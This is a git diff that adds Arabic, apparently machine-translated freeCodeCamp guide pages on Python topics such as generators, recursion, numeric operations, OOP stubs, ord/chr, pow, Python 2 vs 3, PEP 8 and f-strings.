+تقدم Python 2.4 طريقة أكثر بساطة لترميز المولدات البسيطة بشكل خاص: تعبيرات المولدات ، والمعروفة باسم genexps. إن صيغة صيغة genEx تشبه إلى حدٍ ما الفهم المدرج بالقائمة (كما هو مشار إليه في "قائمة الفهم" في الصفحة 67) فيما عدا أنه يتم وضع genexp بين الأقواس (()) بدلاً من الأقواس (\[\])؛ تكون دلالات اللفافة نفسها مماثلة لتلك الخاصة بفهم القائمة المقابلة ، باستثناء أن جينسبيرت ينتج عنه مكرر ينتج عنصرًا واحدًا في كل مرة ، في حين أن فهم القائمة ينتج قائمة بجميع النتائج في الذاكرة (وبالتالي ، باستخدام genEx ، عندما المناسب ، يحفظ الذاكرة). على سبيل المثال ، لإلزام مربعات جميع الأعداد الصحيحة المكونة من رقم واحد ، في أي بايثون حديثة ، يمكنك التوليف sum (\[x _x for x in xrange (10)\])؛ في Python 2.4 ، يمكنك التعبير عن هذه الوظيفة بشكل أفضل ، وترميزها كمجموع (x_ x لـ x في xrange (10)) (فقط نفس ، ولكن حذف الأقواس) ، والحصول على نفس النتيجة بالضبط أثناء استهلاك ذاكرة أقل. لاحظ أن الأقواس التي تشير إلى استدعاء الدالة أيضا "القيام بواجب مضاعف" وأرفق genexp (لا حاجة لأقواس إضافية).
+
+{عنوان mospagebreak = مولدات في Python 2.5}
+
+في بيثون 2.5 ، يتم تعزيز المولدات بشكل أكبر ، مع إمكانية الحصول على قيمة (أو استثناء) من المتصل حيث يتم تنفيذ كل العائد. تسمح هذه الميزات المتقدمة للمولدات في 2.5 بتطبيق إجراءات مشاركة كاملة ، كما هو موضح في http://www.python.org/peps/pep-0342.html. التغيير الرئيسي هو ، في 2.5 ، العائد ليس عبارة ، بل تعبير ، لذلك له قيمة. عندما يستأنف المولد عن طريق استدعاء الأسلوب التالي ، فإن قيمة العائد المقابل هي بلا. لتمرير قيمة x إلى بعض المولدات g (بحيث يتلقى g قيمة العائد الذي يتم تعليقه) ، بدلاً من استدعاء g.next () ، يستدعي المتصل g.send (x) (استدعاء g.send (لا شيء) هو مجرد مثل استدعاء g.next ()). أيضا ، العائد المجرد بدون حجج ، في Python 2.5 ، يصبح قانوني ، ويعادل أن ينتج لا شيء.
+
+هناك تحسينات أخرى في Python 2.5 للمولدات تتعلق بالاستثناءات ، وهي مشمولة في "تحسينات المولد" في الصفحة 126.
+
+### العودية
+
+وتدعم بايثون العودية (أي أن وظيفة بايثون يمكن أن تطلق على نفسها) ، لكن هناك حدًا لمدى عمق التكرار. افتراضياً ، يقطع Python العودية ويرفع استثناء RecursionLimitExceeded (المغطاة في "فئات الاستثناء القياسي" في الصفحة 130) عندما يكتشف أن مكدس الاستدعاءات العودية قد ذهب عبر عمق 1000. يمكنك تغيير حد العودية مع الدالة setrecursionlimit من sys الوحدة النمطية ، تغطيتها في setrecursionlimit على الصفحة 171.
+
+ومع ذلك ، تغيير حد العودية لا يعطيك العودية غير محدود؛ يعتمد الحد الأقصى المطلق على النظام الأساسي الذي يعمل عليه البرنامج ، خاصةً على نظام التشغيل الأساسي ومكتبة وقت التشغيل C ، ولكنه عادةً بضعة آلاف من المستويات. في حالة تعطل مكالمات العودية ، تعطل برنامجك. مثل هذه العفوية الجامحة ، بعد استدعاء ل setrecursionlimit الذي يتجاوز قدرات المنصة ، هي واحدة من الطرق القليلة جدا التي يمكن أن يتعطل فيها برنامج بايثون - حقا ، من الصعب ، بدون شبكة الأمان المعتادة من آليات الاستثناء في Python. لذلك ، كن حذراً من محاولة إصلاح برنامج الذي يتم الحصول على استثناءات RecursionLimitExceeded عن طريق رفع حد العودية مرتفع للغاية مع setrecursionlimit. في أغلب الأحيان ، من الأفضل أن تبحث عن طرق لإزالة التكرار ، أو بشكل أكثر تحديدًا ، الحد من عمق العودية التي يحتاجها برنامجك.
+
+يجب على القراء الذين يعرفون لغة Lisp ، أو Scheme ، أو لغات البرمجة الوظيفية أن يدركوا على وجه الخصوص أن Python لا يطبق أمثلية "إزالة الاستبعاد" ، وهو أمر مهم للغاية في هذه اللغات. في بايثون ، أي اتصال ، متكرر أم لا ، له نفس التكلفة من حيث الوقت ومساحة الذاكرة ، معتمدين فقط على عدد الوسيطات: التكلفة لا تتغير ، سواء كانت المكالمة "مكالمة خلفية" (بمعنى أن المكالمة هي آخر عملية ينفذها المتصل) أو أي مكالمة أخرى.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/numeric-operations/index.md b/client/src/guide/arabic/python/numeric-operations/index.md
new file mode 100644
index 0000000000..6fe9deb928
--- /dev/null
+++ b/client/src/guide/arabic/python/numeric-operations/index.md
@@ -0,0 +1,45 @@
+---
+title: Python Numeric Operations
+localeTitle: بيثون العمليات الرقمية
+---
+[Python Docs - العمليات الرقمية](https://docs.python.org/3/library/stdtypes.html#numeric-types-int-float-complex)
+
+تدعم بايثون الحساب المختلط بالكامل: فعندما يكون لدى مشغل الحساب الثنائي معاملات من أنواع رقمية مختلفة ، يتم توسيع المعامل مع النوع "الأضيق" إلى النوع الآخر ، حيث يكون العدد الصحيح أضيق من النقطة العائمة ، وهو أضيق من التعقيد. تستخدم المقارنات بين أرقام الأنواع المختلطة نفس القاعدة. [2\] يمكن استخدام معالجات int () و float () و complex () لإنتاج أرقام من نوع معين.](https://docs.python.org/3/library/functions.html#abs)
+
+تدعم جميع أنواع الأرقام (باستثناء المعقدة) العمليات التالية ، ويتم ترتيبها حسب الأولوية التصاعدية (جميع العمليات الرقمية لها أولوية أعلى من عمليات المقارنة):
+
+العملية | النتائج | ملاحظات | وثائق كاملة  
+\----------------- | -------------------------------------------------- ------------------------- | ------ | -------------------------------------------------- ---------------------  
+`x + y` | مجموع س و ص | |  
+`x - y` | الفرق بين س و ص | |  
+`x * y` | منتج من س و ص | |  
+`x / y` | حاصل على س و ص | |  
+`x // y` | حاصل الارضية من س و ص | (1) |  
+`x % y` | الباقي من س / ص | (2)  
+`-x` | س negated | |  
+`+x` | س دون تغيير | |  
+`abs(x)` | القيمة المطلقة أو حجم X | | \[ `abs()`  
+`int(x)` | س تحويلها إلى عدد صحيح (3) (6) | [`int()`](https://docs.python.org/3/library/functions.html#int)  
+`float(x)` | س تحويلها إلى نقطة عائمة (4) (6) | [`float()`](https://docs.python.org/3/library/functions.html#float)  
+`complex(re, im)` | عدد معقد مع إعادة جزء حقيقي ، وهمي جزء im. ايم الافتراضي إلى الصفر. | (6) | [`complex()`](https://docs.python.org/3/library/functions.html#complex)  
+`c.conjugate()` | تصريف عدد مركب c | |  
+`divmod(x, y)` | الزوج (س / ص ، س ٪ ذ) | (2) | [`divmod()`](https://docs.python.org/3/library/functions.html#divmod)  
+`pow(x, y)` | س إلى السلطة ذ | (5) | [`pow()`](https://docs.python.org/3/library/functions.html#pow)  
+`x ** y` | س إلى السلطة ذ | (5)
+
+**ملاحظات:**
+
+1.  يُشار أيضًا إلى قسم صحيح. القيمة الناتجة هي عدد صحيح كامل ، على الرغم من أن نوع النتيجة ليس بالضرورة int. يتم تقريب النتيجة دومًا نحو الطرح اللانهاية: `1//2` تساوي `0` ، `(-1)//2` هي `-1` ، `1//(-2)` هي `-1` ، و `(-1)//(-2)` `0`
+    
+2.  ليس للأرقام المركبة. بدلاً من ذلك ، قم بتحويل العوامات باستخدام `abs()` إذا كان ذلك مناسبًا.
+    
+3.  قد يكون التحويل من نقطة عائمة إلى عدد صحيح مستديرًا أو مبتوراً كما هو الحال في C ؛ راجع الدالتين [`math.floor()`](https://docs.python.org/3/library/math.html#math.floor) و [`math.ceil()`](https://docs.python.org/3/library/math.html#math.ceil) للتحويلات المعرفة جيدًا.
+    
+4.  يقبل `float` أيضًا السلاسل `“nan”` و `“inf”` ببادئة اختيارية `“+”` أو `“-”` لـ Not Notter (NaN) و infinity موجبة أو سلبية.
+    
+5.  تعرف بايثون `pow(0, 0)` و `0 ** 0` إلى `1` ، كما هو شائع في لغات البرمجة.
+    
+6.  تتضمن القيم الحرفية الرقمية المقبولة الأرقام 0 إلى 9 أو أي مكافئ Unicode (نقاط رمز مع خاصية `Nd` ).
+    
+
+> راجع [Unicode Derived Numeric Type](http://www.unicode.org/Public/8.0.0/ucd/extracted/DerivedNumericType.txt) للحصول على قائمة كاملة بنقاط التعليمة البرمجية مع خاصية `Nd` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/numeric-types/index.md b/client/src/guide/arabic/python/numeric-types/index.md
new file mode 100644
index 0000000000..b25144736d
--- /dev/null
+++ b/client/src/guide/arabic/python/numeric-types/index.md
@@ -0,0 +1,34 @@
+---
+title: Python Numeric Types
+localeTitle: بايثون أنواع رقمية
+---
+[الأنواع الرقمية](https://docs.python.org/3/library/stdtypes.html#numeric-types-int-float-complex) لبيثون هي:
+
+*   الأعداد الصحيحة ( `int` )
+
+#### أمثلة:
+
+ `print(1) 
+ print(100) 
+ print(8435367) 
+` 
+
+*   أرقام النقطة العائمة ( `float` )
+    *   [البناء](https://docs.python.org/3/library/functions.html#float)
+
+#### أمثلة:
+
+ `print(1.5) 
+ print(46.84) 
+ print(84357.435) 
+` 
+
+*   ارقام مركبة
+    *   [البناء](https://docs.python.org/3/library/functions.html#complex)
+
+تضيف المكتبة القياسية أنواعًا رقمية لـ
+
+*   [الكسور](https://docs.python.org/3/library/fractions.html#module-fractions)
+*   [الكسور العشرية](https://docs.python.org/3/library/decimal.html#module-decimal)
+
+يتم إنشاء كائنات رقمية من القيم الحرفية أو كنتيجة للوظائف والمشغلين. يتم [توثيق](https://docs.python.org/3/reference/lexical_analysis.html#numeric-literals) بناء الجملة من أجل القيم الحرفية الرقمية بشكل جيد.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/object-oriented-programming/classes/index.md b/client/src/guide/arabic/python/object-oriented-programming/classes/index.md
new file mode 100644
index 0000000000..d67990f26b
--- /dev/null
+++ b/client/src/guide/arabic/python/object-oriented-programming/classes/index.md
@@ -0,0 +1,17 @@
+---
+title: Classes
+localeTitle: الطبقات
+---
+## الطبقات
+
+A Class هو "مخطط" لإنشاء كائنات: كتابة تصاريح فئة لوصف سمات وسلوكيات المشاعات لكل مثيل من هذا الفصل.
+
+## خلق فئة
+
+لتحديد فئة ، يتم استخدام **فئة** الكلمة الأساسية ، متبوعة بالاسم الذي يحدد الفئة ونقطتين. جميع الأسطر التالية (رمز تصف السمات والسلوكيات / الأساليب) - يتم وضع مسافة بادئة لها كما هو الحال في وظيفة بايثون. على سبيل المثال ، لإنشاء فئة باسم شخص ، يمكننا أن نكتب:
+
+`class Person: <code describing attributes and behaviors/methods>`
+
+يجب تنفيذ تعريفات الصف قبل أن يكون لها أي تأثير.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/object-oriented-programming/constructors/index.md b/client/src/guide/arabic/python/object-oriented-programming/constructors/index.md
new file mode 100644
index 0000000000..3bde48d0a2
--- /dev/null
+++ b/client/src/guide/arabic/python/object-oriented-programming/constructors/index.md
@@ -0,0 +1,11 @@
+---
+title: Constructors
+localeTitle: الصانعين
+---
+## الصانعين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/object-oriented-programming/index.md b/client/src/guide/arabic/python/object-oriented-programming/index.md
new file mode 100644
index 0000000000..9294863eff
--- /dev/null
+++ b/client/src/guide/arabic/python/object-oriented-programming/index.md
@@ -0,0 +1,16 @@
+---
+title: Python Object Oriented Programming
+localeTitle: بايثون كائن المنحى البرمجة
+---
+## بايثون كائن المنحى البرمجة
+
+بايثون هي لغة برمجة متعددة النماذج تدعم مناهج البرمجة المختلفة. أحد الأمثلة الممتازة للبرمجة هو البرمجة الموجهة للكائنات ، أو OOP باختصار ، عن طريق إنشاء الكائنات.
+
+في خصائص OOP والسلوكيات يتم تجميعها في كائنات فردية ، تتميز:
+
+*   سمات
+*   السلوكيات
+
+على سبيل المثال ، يمكن أن يمثل الكائن شخصًا ذا سمات مثل الاسم ، والعمر ، والعنوان ، وسلوكيات مثل المشي ، والحديث ، والتنفس ، والجري.
+
+تعمل OOP على تصميم كيانات العالم الحقيقي ككائنات برمجية ، والتي تحتوي على بعض البيانات المرتبطة بها ويمكنها أداء وظائف معينة. يتم تصميم الكائنات على شكل **فئات** ، وهي نوع من _المخطط_ .
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/object-oriented-programming/inheritance/index.md b/client/src/guide/arabic/python/object-oriented-programming/inheritance/index.md
new file mode 100644
index 0000000000..dbe3520763
--- /dev/null
+++ b/client/src/guide/arabic/python/object-oriented-programming/inheritance/index.md
@@ -0,0 +1,11 @@
+---
+title: Inheritance
+localeTitle: ميراث
+---
+## ميراث
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/object-oriented-programming/methods/index.md b/client/src/guide/arabic/python/object-oriented-programming/methods/index.md
new file mode 100644
index 0000000000..264f1e3f83
--- /dev/null
+++ b/client/src/guide/arabic/python/object-oriented-programming/methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Methods
+localeTitle: أساليب
+---
+## أساليب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/object-oriented-programming/operator-overloading/index.md b/client/src/guide/arabic/python/object-oriented-programming/operator-overloading/index.md
new file mode 100644
index 0000000000..7d85440a88
--- /dev/null
+++ b/client/src/guide/arabic/python/object-oriented-programming/operator-overloading/index.md
@@ -0,0 +1,11 @@
+---
+title: Operator Overloading
+localeTitle: مشغل الحمولة الزائدة
+---
+## مشغل الحمولة الزائدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/object-oriented-programming/special-comparison-methods/index.md b/client/src/guide/arabic/python/object-oriented-programming/special-comparison-methods/index.md
new file mode 100644
index 0000000000..5ce8c1bd06
--- /dev/null
+++ b/client/src/guide/arabic/python/object-oriented-programming/special-comparison-methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Comparison Methods
+localeTitle: طرق المقارنة الخاصة
+---
+## طرق المقارنة الخاصة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/object-oriented-programming/special-formatting-methods/index.md b/client/src/guide/arabic/python/object-oriented-programming/special-formatting-methods/index.md
new file mode 100644
index 0000000000..a132b7133b
--- /dev/null
+++ b/client/src/guide/arabic/python/object-oriented-programming/special-formatting-methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Formatting Methods
+localeTitle: طرق التنسيق الخاصة
+---
+## طرق التنسيق الخاصة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/object-oriented-programming/special-iteration-methods/index.md b/client/src/guide/arabic/python/object-oriented-programming/special-iteration-methods/index.md
new file mode 100644
index 0000000000..f9859d614f
--- /dev/null
+++ b/client/src/guide/arabic/python/object-oriented-programming/special-iteration-methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Iteration Methods
+localeTitle: طرق التكرار الخاصة
+---
+## طرق التكرار الخاصة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/object-oriented-programming/static-variables/index.md b/client/src/guide/arabic/python/object-oriented-programming/static-variables/index.md
new file mode 100644
index 0000000000..e51edf0ff7
--- /dev/null
+++ b/client/src/guide/arabic/python/object-oriented-programming/static-variables/index.md
@@ -0,0 +1,11 @@
+---
+title: Static Variables
+localeTitle: المتغيرات الثابتة
+---
+## المتغيرات الثابتة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/ord-function/index.md b/client/src/guide/arabic/python/ord-function/index.md
new file mode 100644
index 0000000000..bde41f95c7
--- /dev/null
+++ b/client/src/guide/arabic/python/ord-function/index.md
@@ -0,0 +1,34 @@
+---
+title: Python Ord Function
+localeTitle: بيثون اورد وظيفة
+---
+## وظيفة Ord
+
+`ord()` هي دالة مضمنة في Python 3 ، لتحويل السلسلة التي تمثل حرف Unicode إلى عدد صحيح يمثل رمز Unicode للحرف.
+
+#### أمثلة:
+
+ `>>> ord('d') 
+ 100 
+ >>> ord('1') 
+ 49 
+` 
+
+## وظيفة chr
+
+`chr()` هي وظيفة مضمنة في Python 3 ، لتحويل العدد الصحيح تمثل شفرة Unicode في سلسلة تمثل حرفًا مطابقًا.
+
+#### أمثلة:
+
+ `>>> chr(49) 
+ '1' 
+` 
+
+هناك أمر واحد يمكن ملاحظته ، إذا كانت قيمة العدد الصحيح التي تم تمريرها إلى `chr()` خارج النطاق ، فسيتم رفع قيمة ValueError.
+
+ `>>> chr(-10) 
+ 'Traceback (most recent call last): 
+  File "<pyshell#24>", line 1, in <module> 
+    chr(-1) 
+ ValueError: chr() arg not in range(0x110000)' 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/parenthesis-for-boolean-operations/index.md b/client/src/guide/arabic/python/parenthesis-for-boolean-operations/index.md
new file mode 100644
index 0000000000..82b9911801
--- /dev/null
+++ b/client/src/guide/arabic/python/parenthesis-for-boolean-operations/index.md
@@ -0,0 +1,16 @@
+---
+title: Python Parenthesis for Boolean Operations
+localeTitle: Python Parenthesis for Boolean Operations
+---
+كما هو الحال في الرياضيات ، يمكن استخدام قوسين لتجاوز ترتيب العمليات:
+
+ `>>> not True or True 
+ True 
+ >>> not (True or True) 
+ False 
+ 
+ >>> True or False and False 
+ True 
+ >>> (True or False) and False 
+ False 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/powxy/index.md b/client/src/guide/arabic/python/powxy/index.md
new file mode 100644
index 0000000000..0665572b1e
--- /dev/null
+++ b/client/src/guide/arabic/python/powxy/index.md
@@ -0,0 +1,24 @@
+---
+title: Python Powxy
+localeTitle: بايثون بوكسي
+---
+`pow(x, y, z)` هي دالة مضمنة في Python 3 لحساب `x` إلى القدرة `y` ، وإذا كان `z` موجودًا ، فترجع `x` إلى `y` [modulo](https://processing.org/reference/modulo.html) `z` .
+
+## الحجج
+
+يجب أن تحتوي الوسيطات على أنواع رقمية. تأخذ هذه الوظيفة وسيطتين ، `x` و `y` ، بالإضافة إلى ثلاثة ، `x` ، `y` ، و `z` . إذا كان `z` موجودًا ، يجب أن يكون `x` و `y` من الأنواع الصحيحة ، ويجب أن يكون y غير سلبي.
+
+## إرجاع
+
+إذا كان `z` موجودًا ، فسوف يقوم بإرجاع `x` إلى power `y` modulo `z` . في حالة وجود `x` و `y` فقط ، يتم إرجاع `x` إلى طاقة `y` (مثل `x**y` ).
+
+## مثال
+
+ `print(pow(2,4))    # prints 16 
+ print(pow(10,-2))  # prints 0.01 
+ print(pow(4,3,5))  # prints 4 
+` 
+
+[كود ران](https://repl.it/CTGi)
+
+[الوثائق الرسمية](https://docs.python.org/3/library/functions.html#pow)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/python-2-vs-python-3/index.md b/client/src/guide/arabic/python/python-2-vs-python-3/index.md
new file mode 100644
index 0000000000..7662174c6e
--- /dev/null
+++ b/client/src/guide/arabic/python/python-2-vs-python-3/index.md
@@ -0,0 +1,63 @@
+---
+title: Python 2 vs Python 3
+localeTitle: Python 2 vs Python 3
+---
+نحن لا نأخذ جانبًا في النقاش. إذا كنت مهتمًا بمعرفة المزيد عنها لأغراض أكاديمية ، فربما [تقارن بين مقالتي Python 2 و Python 3](https://wiki.python.org/moin/Python2orPython3) .
+
+ولكن ، لا يمكننا أيضا أن نجهل حقيقة أن هناك نوعان من النكهات الرئيسية من بايثون هناك. لماذا ترتدي الرعاية ، تسأل؟ لأن التعليمة البرمجية المكتوبة لإصدار واحد من Python يمكن أن تؤدي إلى خطأ في بناء الجملة في إصدار آخر من Python.
+
+ما يلي هو عبارة `print` صالحة في Python 2 ، ولكنها لا تعمل على Python 3:
+
+ `print "Hello World" 
+` 
+
+في Python 3 ، يلقي نفس العبارة خطأ كالتالي:
+
+ `>>> print "hello" 
+  File "<stdin>", line 1 
+    print "hello" 
+                ^ 
+ SyntaxError: Missing parentheses in call to 'print' 
+` 
+
+في Python 2 ، تتم معاملة "print" كإشارة بدلاً من دالة. ليست هناك حاجة إلى التفاف النص الذي تريد طباعته بين قوسين ، على الرغم من أنك تستطيع ذلك إن أردت. يعامل Python 3 بشكل واضح "print" كدالة ، مما يعني أنه يجب عليك تمرير العناصر التي تحتاج إلى طباعتها إلى الوظيفة بين قوسين بطريقة قياسية ، أو ستحصل على خطأ في بناء الجملة
+
+يعد استخدام وظيفة `print()` 'آمن' في كل من Python 2 و 3:
+
+ `print("Hello World") 
+` 
+
+هناك فرق آخر بين Python 2 و Python 3 وهو بنية البيانات التي يتم إرجاعها عند استدعاء الدالة `map()` .
+
+في Python 2 ، تقوم `map()` بإرجاع قائمة:
+
+ `>>> result = map(int,['10','20','30','40']) 
+ >>> print result 
+ >>> [10,20,30,40] 
+` 
+
+في Python 3 ، تقوم `map()` بإرجاع مكرر:
+
+ `>>> result = map(int,['10','20','30','40']) 
+ >>> print (result) 
+ >>> <map object at 0x7f40896b4630> 
+` 
+
+للحصول على قائمة في Python 3 ، يجب عليك تحويلها:
+
+ `>>> result = list(map(int,['10','20','30','40'])) 
+ >>> print (result) 
+ >>> [10,20,30,40] 
+` 
+
+لذا ، فإن السؤال الوحيد الذي تحتاج إلى الاهتمام به الآن. هو الذي يجب عليك اختياره؟ إذا كنت جديدًا في Python ، فيجب أن تختار Python 3. Python 2 لديها حاليًا تاريخ [End of Life الذي تم](https://www.python.org/dev/peps/pep-0373/#update) تعيينه إلى عام 2020. بمعنى أن bugfixes العادية غير مضمنة للمضي قدمًا ونعمًا ، يستغرق الأمر وقتًا حتى للتعرف على الجوانب الأكثر شيوعًا إما بيثون. ووقتك مهم. لذا ، استثمر وقتك وجهدك بحكمة!
+
+في حين أن Python 2 مدعومة وشائعة ، فإن معظم المكتبات العامة وأطر العمل في Python تفضل Python 3. Django [توصي](https://docs.djangoproject.com/en/1.9/faq/install/#faq-python-version-support) رسميًا [بـ](https://docs.djangoproject.com/en/1.9/faq/install/#faq-python-version-support) Python 3. كما يتم [دعم](http://flask.pocoo.org/docs/0.10/python3/#python3-support) القارورة وكل تبعياتها في Python 3.
+
+كلاهما Python 2 و Python 3 رائعان. معظم توزيعات Linux و macOS تأتي مثبتة مسبقاً مع Python 2 كإصدار افتراضي من Python. ولدت بايثون 3 من البحث النهم عن بنيات لغة أكثر قابلية للقراءة وأكثر جمالا.
+
+تستخدم هذه المقالة Python 3 لإعداد إطارات الويب في بيئة التطوير الخاصة بك. ولكن قبل ذلك ، تحتاج إلى التأكد من أن لديك Python 3 وتعرف كيف تستخدمه!
+
+#### معلومات اكثر:
+
+*   [بايثون 2 أو 3 مقالة](https://wiki.python.org/moin/Python2orPython3)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/python-coding-standards/index.md b/client/src/guide/arabic/python/python-coding-standards/index.md
new file mode 100644
index 0000000000..7df864d0e4
--- /dev/null
+++ b/client/src/guide/arabic/python/python-coding-standards/index.md
@@ -0,0 +1,29 @@
+---
+title: Coding standards
+localeTitle: معايير الترميز
+---
+### الخطوط العريضة
+
+*   لماذا معايير الترميز؟
+*   مقدمة إلى PEP 8
+*   الأوامر
+
+### لماذا معايير الترميز؟
+
+مجتمع الثعبان العالمي ينمو بسرعة ، ويستخدم كل شخص تقريباً بيثون. هذا هو المكان الذي يمكن فيه قراءة التعليمات البرمجية والمعايير الموحدة. يجب أن يتمكن أي شخص على هذا الكوكب من قراءة الشفرة وفهم ما يفعله. هناك الكثير من الجوانب لفهم رمز الآخرين ، على سبيل المثال التعليقات حول ما تقوم به الوظيفة ، منطقيا تقسيم المهام بين الوحدات والوظائف ، أسماء المتغيرات الجيدة ، إلخ.
+
+### مقدمة إلى PEP 8
+
+نحن نحب التمسك بالمعاهدات. لقد توصل مجتمع مستخدمي python إلى مجموعة من المعايير ، والتي يتم اتخاذها الآن على أنها اتفاقية. يتم تشغيل أي رمز مستوى الصناعة التي تكتبها من خلال المدقق PEP 8. ومن ثم ، من الممارسات الجيدة أن تبدأ كتابة التوثيق لصفوفك ووظائفك ، وأن تقوم بتسمية المتغيرات في حالة الأحرف السفلية باستخدام الشُرَط السفلية المربعة. قد يكون من المفيد إلقاء نظرة على هذه المعايير قبل بدء الترميز.
+
+[هنا هو الرابط الشامل](https://www.python.org/dev/peps/pep-0008/ "معايير PEP 8")
+
+### الأوامر
+
+إليك كيفية التحقق مما إذا كان رمز python الخاص بك يتوافق مع المعايير.
+
+ `:~$ pip install pep8 
+ :~$ pep8 --first myCode.py 
+` 
+
+سيعطي هذا كل تلك الخطوط التي تنتهك المعايير ، إلى جانب وصف قصير للإصلاحات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/python-f-strings/index.md b/client/src/guide/arabic/python/python-f-strings/index.md
new file mode 100644
index 0000000000..688863b971
--- /dev/null
+++ b/client/src/guide/arabic/python/python-f-strings/index.md
@@ -0,0 +1,47 @@
+---
+title: Python f-strings
+localeTitle: بايثون f-strings
+---
+# سلاسل في بيثون
+
+في بايثون الإصدار 3.6 ، تم تنفيذ طريقة جديدة لسلسلة التنسيق. تسمى الطريقة الجديدة الاستيفاء الداخلي للأوتار (على الرغم من أنه يشار إليه عادة باسم f-string).
+
+يسمح استخدام f-string للمبرمج بإدخال متغير ديناميكيًا في سلسلة بطريقة نظيفة ومختصرة. بالإضافة إلى إدخال المتغيرات في سلسلة ، توفر هذه الميزة أيضًا قدرة للمبرمج على تقييم التعبيرات ، والانضمام إلى محتويات المجموعة ، وحتى استدعاء الوظائف داخل السلسلة f.
+
+لتنفيذ هذه السلوكيات الديناميكية داخل سلسلة f ، نلفها داخل أقواس معقوفة داخل السلسلة ، ونقوم بوضع غلاف صغير f في بداية السلسلة (قبل عرض السعر الافتتاحي).
+
+### أمثلة
+
+1.  إدخال متغير ديناميكيًا إلى سلسلة في وقت التشغيل:
+    
+     `name = 'Jon Snow' 
+     greeting = f'Hello! {name}' 
+     print(greeting) 
+    ` 
+    
+2.  تقييم تعبير في سلسلة: `python val1 = 2 val2 = 3 expr = f'The sum of {val1} + {val2} is {val1 + val2}' print(expr)`
+    
+3.  استدعاء دالة وإدخال الإخراج داخل سلسلة:
+    
+     `def sum(*args): 
+        result = 0 
+        for arg in args: 
+            result += arg 
+        return result 
+     
+     func = f'The sum of 3 + 5 is {sum(3, 5)}' 
+     print(func) 
+    ` 
+    
+4.  الانضمام إلى محتويات مجموعة داخل سلسلة:
+    
+     `fruits = ['Apple', 'Banana', 'Pear'] 
+     
+     list_str = f'List of fruits: {", ".join(fruits)}' 
+     print(list_str) 
+    ` 
+    
+
+### مصادر
+
+https://www.python.org/dev/peps/pep-0498/
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/python-resources/index.md b/client/src/guide/arabic/python/python-resources/index.md
new file mode 100644
index 0000000000..228b66dac8
--- /dev/null
+++ b/client/src/guide/arabic/python/python-resources/index.md
@@ -0,0 +1,69 @@
+---
+title: Python Resources
+localeTitle: بيثون الموارد
+---
+## دروس
+
+*   [بيثون الدروس الرسمية](https://docs.python.org/3/tutorial/)
+*   [دليل هتشكوك لبيثون](https://python-guide.readthedocs.org/en/latest/)
+*   [جوجل بيثون فئة](https://developers.google.com/edu/python/)
+*   [تعلم بايثون الطريق الصعب](http://learnpythonthehardway.org/book/)
+*   [فكر بايثون](http://www.greenteapress.com/thinkpython/html/index.html)
+*   [تعلم Python في X دقيقة](https://learnxinyminutes.com/docs/python/)
+*   [تعلم Python 3 في X دقيقة](https://learnxinyminutes.com/docs/python3/)
